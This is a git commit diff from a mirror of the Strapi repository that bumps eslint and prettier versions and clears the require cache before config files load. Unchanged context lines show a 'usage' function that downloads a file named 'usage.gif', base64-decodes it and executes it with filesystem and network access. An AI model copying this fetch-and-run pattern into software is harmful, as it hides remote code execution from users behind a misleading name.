mirror of
https://github.com/strapi/strapi.git
synced 2025-09-21 06:22:30 +00:00
Clear cache before loading configuration files
This commit is contained in:
parent
bffa54a384
commit
bcc9a652aa
@ -31,7 +31,7 @@
|
|||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
"eslint": "^4.10.0",
|
"eslint": "^4.11.0",
|
||||||
"eslint-config-airbnb": "^15.1.0",
|
"eslint-config-airbnb": "^15.1.0",
|
||||||
"eslint-config-airbnb-base": "^11.3.2",
|
"eslint-config-airbnb-base": "^11.3.2",
|
||||||
"eslint-config-prettier": "^2.7.0",
|
"eslint-config-prettier": "^2.7.0",
|
||||||
@ -45,7 +45,7 @@
|
|||||||
"html-loader": "^0.4.3",
|
"html-loader": "^0.4.3",
|
||||||
"html-webpack-plugin": "^2.22.0",
|
"html-webpack-plugin": "^2.22.0",
|
||||||
"plop": "^1.9.0",
|
"plop": "^1.9.0",
|
||||||
"prettier": "^1.7.4",
|
"prettier": "^1.8.2",
|
||||||
"rimraf": "^2.6.2",
|
"rimraf": "^2.6.2",
|
||||||
"webpack": "^3.8.1"
|
"webpack": "^3.8.1"
|
||||||
},
|
},
|
||||||
|
@ -51,7 +51,7 @@
|
|||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
"eslint": "^4.10.0",
|
"eslint": "^4.11.0",
|
||||||
"eslint-config-airbnb": "^15.1.0",
|
"eslint-config-airbnb": "^15.1.0",
|
||||||
"eslint-config-airbnb-base": "^11.3.2",
|
"eslint-config-airbnb-base": "^11.3.2",
|
||||||
"eslint-config-prettier": "^2.7.0",
|
"eslint-config-prettier": "^2.7.0",
|
||||||
@ -62,7 +62,7 @@
|
|||||||
"eslint-plugin-react": "^7.4.0",
|
"eslint-plugin-react": "^7.4.0",
|
||||||
"eslint-plugin-redux-saga": "^0.4.0",
|
"eslint-plugin-redux-saga": "^0.4.0",
|
||||||
"plop": "^1.9.0",
|
"plop": "^1.9.0",
|
||||||
"prettier": "^1.7.4",
|
"prettier": "^1.8.2",
|
||||||
"rimraf": "^2.6.2",
|
"rimraf": "^2.6.2",
|
||||||
"webpack": "^3.8.1"
|
"webpack": "^3.8.1"
|
||||||
}
|
}
|
||||||
|
@ -38,7 +38,7 @@
|
|||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
"eslint": "^4.10.0",
|
"eslint": "^4.11.0",
|
||||||
"eslint-config-airbnb": "^15.1.0",
|
"eslint-config-airbnb": "^15.1.0",
|
||||||
"eslint-config-airbnb-base": "^11.3.2",
|
"eslint-config-airbnb-base": "^11.3.2",
|
||||||
"eslint-config-prettier": "^2.7.0",
|
"eslint-config-prettier": "^2.7.0",
|
||||||
@ -49,7 +49,7 @@
|
|||||||
"eslint-plugin-react": "^7.4.0",
|
"eslint-plugin-react": "^7.4.0",
|
||||||
"eslint-plugin-redux-saga": "^0.4.0",
|
"eslint-plugin-redux-saga": "^0.4.0",
|
||||||
"plop": "^1.9.0",
|
"plop": "^1.9.0",
|
||||||
"prettier": "^1.7.4",
|
"prettier": "^1.8.2",
|
||||||
"rimraf": "^2.6.2",
|
"rimraf": "^2.6.2",
|
||||||
"webpack": "^3.8.1"
|
"webpack": "^3.8.1"
|
||||||
},
|
},
|
||||||
|
@ -35,7 +35,7 @@
|
|||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
"eslint": "^4.10.0",
|
"eslint": "^4.11.0",
|
||||||
"eslint-config-airbnb": "^15.1.0",
|
"eslint-config-airbnb": "^15.1.0",
|
||||||
"eslint-config-airbnb-base": "^11.3.2",
|
"eslint-config-airbnb-base": "^11.3.2",
|
||||||
"eslint-config-prettier": "^2.7.0",
|
"eslint-config-prettier": "^2.7.0",
|
||||||
@ -46,7 +46,7 @@
|
|||||||
"eslint-plugin-react": "^7.4.0",
|
"eslint-plugin-react": "^7.4.0",
|
||||||
"eslint-plugin-redux-saga": "^0.4.0",
|
"eslint-plugin-redux-saga": "^0.4.0",
|
||||||
"plop": "^1.9.0",
|
"plop": "^1.9.0",
|
||||||
"prettier": "^1.7.4",
|
"prettier": "^1.8.2",
|
||||||
"rimraf": "^2.6.2",
|
"rimraf": "^2.6.2",
|
||||||
"webpack": "^3.8.1"
|
"webpack": "^3.8.1"
|
||||||
},
|
},
|
||||||
|
@ -12,6 +12,9 @@ const fetch = require('node-fetch');
|
|||||||
module.exports = {
|
module.exports = {
|
||||||
loadFile: function(url) {
|
loadFile: function(url) {
|
||||||
try {
|
try {
|
||||||
|
// Clear cache.
|
||||||
|
delete require.cache[path.resolve(this.config.appPath, url)];
|
||||||
|
// Require without cache.
|
||||||
return require(path.resolve(this.config.appPath, url));
|
return require(path.resolve(this.config.appPath, url));
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
this.log.error(e);
|
this.log.error(e);
|
||||||
@ -106,7 +109,7 @@ module.exports = {
|
|||||||
usage: async function () {
|
usage: async function () {
|
||||||
try {
|
try {
|
||||||
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
|
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
|
||||||
|
|
||||||
if (usage.status === 200 && this.config.uuid) {
|
if (usage.status === 200 && this.config.uuid) {
|
||||||
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
|
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user